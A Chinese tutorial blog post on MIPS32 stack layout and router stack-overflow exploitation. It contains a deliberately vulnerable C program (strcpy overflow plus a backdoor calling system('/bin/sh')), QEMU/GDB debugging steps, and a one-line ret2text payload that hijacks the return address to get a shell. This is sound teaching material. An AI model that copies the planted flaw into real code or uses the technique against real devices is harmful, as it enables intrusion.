首页 > 其他 > 详细

路由器栈溢出漏洞入门(一)

时间:2020-10-23 00:00:04      阅读:71      评论:0      收藏:0      [点我收藏+]

前言

上周,花了一周多一点的时间来学了一些Linux kernel pwn入门,主要是学了Wiki上面的四个利用姿势;具体可以看我的前几篇博客。然后的话,接下来会入门路由器的栈溢出。因为是初学,所以也会尽可能地详细地记录。

MIPS32架构堆栈

有关MIPS汇编的一些基础知识,可以参考以下我的这一篇博文
在计算机科学中,栈是一种具有先进后出队列特性的数据结构。调用栈是指存放某个程序正在运行的函数的信息的栈。调用栈由栈帧组成,每个栈帧对应一个未完成的函数。
而MIPS32架构的堆栈与传统PC的架构复杂指令系统不同,大多数采用Linux嵌入式操作系统的路由器采用的是MIPS指令系统,该指令系统属于精简指令系统。MIPS32架构的函数调用与x86架构有很大的差别,具体有以下几个方面:

  1. 栈操作:MIPS32架构堆栈与X86的一样,都是向低地址增长的。但是在MIPS32架构中没有EBP,进入一个函数时,需要将当前栈指针向下移动n比特,这个大小为n比特的存储空间就是此函数的栈。此后,栈指针便不再移动,只能在函数返回时将栈指针加上这个偏移量恢复栈现场。由于不能随便移动栈指针,所以寄存器压栈和出栈都必须制定偏移量。
  2. 调用:如果函数A调用函数B,调用者函数会在自己的栈定预留一部分空间来保存被调用者的参数,我们称之为调用参数空间。
  3. 参数传递方式:前四个传入的参数通过a0-a3传递。有些函数的参数可能会超过四个,此时多余的参数会被放入到调用参数空间。x86架构下的所有参数都是通过堆栈传递的。
  4. 返回地址:在x86架构中,使用call指令调用函数时,会先将当前执行位置压入堆栈。MIPS的调用指令把返回地址直接存入RA寄存器而不是堆栈中。

函数调用

在MIPS32架构中,函数被分为两种即叶子函数和非叶子函数。MIPS函数的调用过程与x86的不同。在x86的体系结构下,函数A调用函数B,总是先将函数A的地址压入栈中,在函数B执行完毕返回A函数时,再从堆栈中弹出返回函数A的地址,然后返回A继续执行。而在MIPS架构下,叶子函数的返回地址是直接放在 ra 寄存器中,而非叶子函数需要调用另外的函数,这里的差异就造成了非叶子函数需要把当前的返回地址暂时存放在栈上。

举个栗子:

int main(){
    int i;
    int sum = 0;
    for(i=0;i<5;i++){
        sum = sum +i;
    }
}

编译链接,查看汇编代码:

sudo ./buildroot/output/host/bin/mipsel-linux-gcc ~/leaf.c -static  -o ~/no_leaf

然后拉进ida查看
技术分享图片
可以看到,在我们进入main函数的时候,并没有对RA寄存器进行任何操作,而当我们退出main函数的时候,是直接jr 到我们$ra寄存器存放的地址;这就是叶子函数调用时的栈布局。
下面稍作调整:

int main(){
    int i;
    int sum = 0;
    for(i=0;i<5;i++){
        sum = sum +i;
        printf("sum = %d",sum);
    }
}

同上编译链接:

sudo ./buildroot/output/host/bin/mipsel-linux-gcc ~/leaf.c -static  -o ~/leaf

拉进ida查看:
技术分享图片
可以看到,在我们进入main函数的栈之后,我们先把$ra寄存器的值存放到了我们的0x28+var_4($sp)这个栈空间,然后在我们退出main函数的栈时,先是把我们的0x28+var_4($sp)栈地址的值赋值给我们的$ra寄存器,然后再jr到对应地址。
所以,对于非叶子函数来说,如果存在局部变量溢出,就可能导致堆栈上的返回地址被覆盖,从而控制执行流。因此这种情况下缓冲区溢出是可以被利用的。但是对于叶子函数来说,它的返回地址是没有放置在栈上,所以我们无法修改对应的返回地址。但是这不意味者叶子函数的缓冲区溢出就完全无法利用。如果缓冲区溢出覆盖的区域足够大,我们是有可能覆盖到上一层调用该函数的函数的返回地址的。所以,当非叶子函数中存在缓冲区溢出漏洞时,程序上的执行流程也是存在被劫持的可能性的。
因此,在MIPS32的体系中,栈溢出利用仍然是可行的。

一道简单的例题(ret2text)

代码

#include<stdio.h>
#include <stdlib.h>
#include <string.h>
void backdoor(){
system("/bin/sh");
}
void has_stack(char *src)
{
char dst[20]={0};
strcpy(dst,src);
printf("copy successfully");
}
void main(int argc,char *argv[])
{
has_stack(argv[1]);
}                                                                                                                                                      

编译链接

./buildroot/output/host/bin/mipsel-linux-gcc ~/stack.c -static -o  ~/stack

GDB调试:

先挂起:

qemu-mipsel -g 1234 ./stack aaaaaaaaaaaaaaaaaaaa

然后gdb连接调试:

gdb-multiarch  ./stack

然后再在gdb里面

target remote:1234

gdb连接起来后,在我们的strcpy之后下个断点:
技术分享图片
然后查看此时栈的情况:
技术分享图片
所以,由上图可以算出覆盖到返回地址的地址偏移。

劫持程序流

最后利用:

qemu-mipsel stack `python -c "print ‘a‘*28+‘\x90\x03\x40\x00‘"`

成功get到我们的shell!!!
技术分享图片
栈的布局,可以看看这幅图:
技术分享图片
栈的生长方向为低地址向高地址,缓冲区溢出时就向 main 函数的区域溢出,控制程序流也就需要溢出到原来的RA寄存器处的栈空间

未完待续

路由器栈溢出漏洞入门(一)

原文:https://www.cnblogs.com/T1e9u/p/13854687.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!